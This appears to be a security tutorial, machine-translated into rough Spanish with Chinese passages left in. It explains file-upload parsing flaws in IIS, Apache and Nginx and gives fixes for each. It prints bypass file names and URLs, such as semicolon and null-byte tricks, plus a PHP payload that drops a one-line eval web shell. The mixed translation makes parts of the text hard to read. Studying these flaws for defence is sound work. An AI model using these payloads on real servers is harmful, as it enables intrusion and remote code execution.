la vulnerabilidad de carga del servidor de la vulnerabilidad de análisis
Subir escapatorias IIS5.x-6.x vulnerabilidad de análisis
Uso versión iis5.x-6.x del servidor, la mayoría de Windows Server
2003, el sitio más antiguo, desarrollado declaraciones generalmente asp; la vulnerabilidad de análisis sólo puede resolverse archivos asp, aspx no de análisis.
Directorio de análisis (6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
análisis del archivo
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
Analizar el tipo de archivo
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
programa de rehabilitación
1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。
2.做好权限设置,限制用户创建文件夹。
Apache lagunas de carga vulnerabilidad de análisis
principio de vulnerabilidades
Regla Apache analizar el archivo es de derecha a izquierda para iniciar el análisis para determinar si el sufijo de análisis de archivos no reconocido, y luego dejarla en manos de juez. Por ejemplo test.php.owf.rar
".owf" y ".rar" sufijo dos Apache análisis sintáctico irreconocible, Apache será analizada en el php oldboy.php.owf.rar.
formulario de vulnerabilidad
www.xxxx.xxx.com/test.php.php123
Los problemas de configuración restantes que conducen a la vulnerabilidad
(1) Si hay una línea AddHandler configuración .php tales php5-script en el conf Apache en
este caso, siempre que el nombre de archivo contiene el nombre del archivo .php es test2.php.jpg incluso con se realizará php.
(2) si no hay línea de un tal dispuesta en la conf AddType Apache application / x-httpd-php .jpg incluso si la extensión es jpg, php se puede realizar de la misma manera.
programa de rehabilitación
1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>
2. pseudo-estática para resolver este problema, anular .php similar. * Ese documento, abrir el Apache httpd.conf encontrar LoadModule rewrite_module / mod_rewrite.so
el número # eliminado, reinicie Apache, construido en el directorio raíz del sitio. htaccess, de la siguiente manera:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
nginx vulnerabilidad de carga de la vulnerabilidad de análisis
principio de vulnerabilidades
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
formulario de vulnerabilidad
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)
另外一种手法:上传一个名字为test.jpg,以下内容的文件。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
programa de rehabilitación
1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;
2.在Nginx配置文件中添加以下代码:
if ( $fastcgi_script_name ~ ..*/.*php )
{
return 403;
}
medios Esta línea que cuando la URL corresponde a test.jpg similares / a.php devolverá un código de error 403. Subir lagunas IIS7.5 8 vulnerabilidad de análisis
IIS7.5 vulnerabilidad con Nginx similares, se deben fichero de configuración php, abra la cgi.fix_pathinfo, que no es nginx o la propia vulnerabilidad iis7.5.
https://www.xp.cn/a.php/182.html
Al finalizar la instalación, en php.ini cgi.fix_pathinfo por defecto = 1, es hora de visita, cuando la extensión ruta URL agregará .php como un archivo php se analiza, las vulnerabilidades resultantes
Nota: Antes de la prueba real, me encontré con lagunas y no más tarde descubrí que se partió FastCGI, que parece ser utilizado para procesar el archivo de datos
cuando el cgi defensa de venta. fix_pathinfo = 0, y FastCGI abierta es así, ya que se puede jugar a punto de alto nivel
para crear el contenido del archivo cmd.txt
<?php
fputs(fopen('shell.php','w'),'<?php phpinfo();?>');
//创建新的文件
?>
保存后,重命名为cmd.jpg 文件
再次进行访问
prestar atención
当phpstudy切换回去的时候,不一定可以运行,需要进行再配置